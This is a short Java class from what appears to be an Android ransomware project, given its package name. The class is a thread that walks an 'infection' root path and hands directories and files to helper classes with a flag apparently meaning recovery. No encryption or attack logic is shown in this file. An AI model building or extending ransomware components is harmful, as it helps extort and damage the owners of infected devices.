package android.malware.ransonware.routine;

import java.io.File;

import android.malware.ransonware.routine.infection.Directory;
import android.malware.ransonware.routine.infection.Item;

public class RoutineRecover extends Thread {

	// root path infection
	private String root;

	public RoutineRecover(String root) {
		this.root = root;
	}

	@Override
	public void run() {
		FactoryRecover(root);
	}

	public static void FactoryRecover(String path) {
		File file = new File(path);
		if (file.isDirectory())
			new Directory(file, false);
		else
			new Item(file, false);
	}
}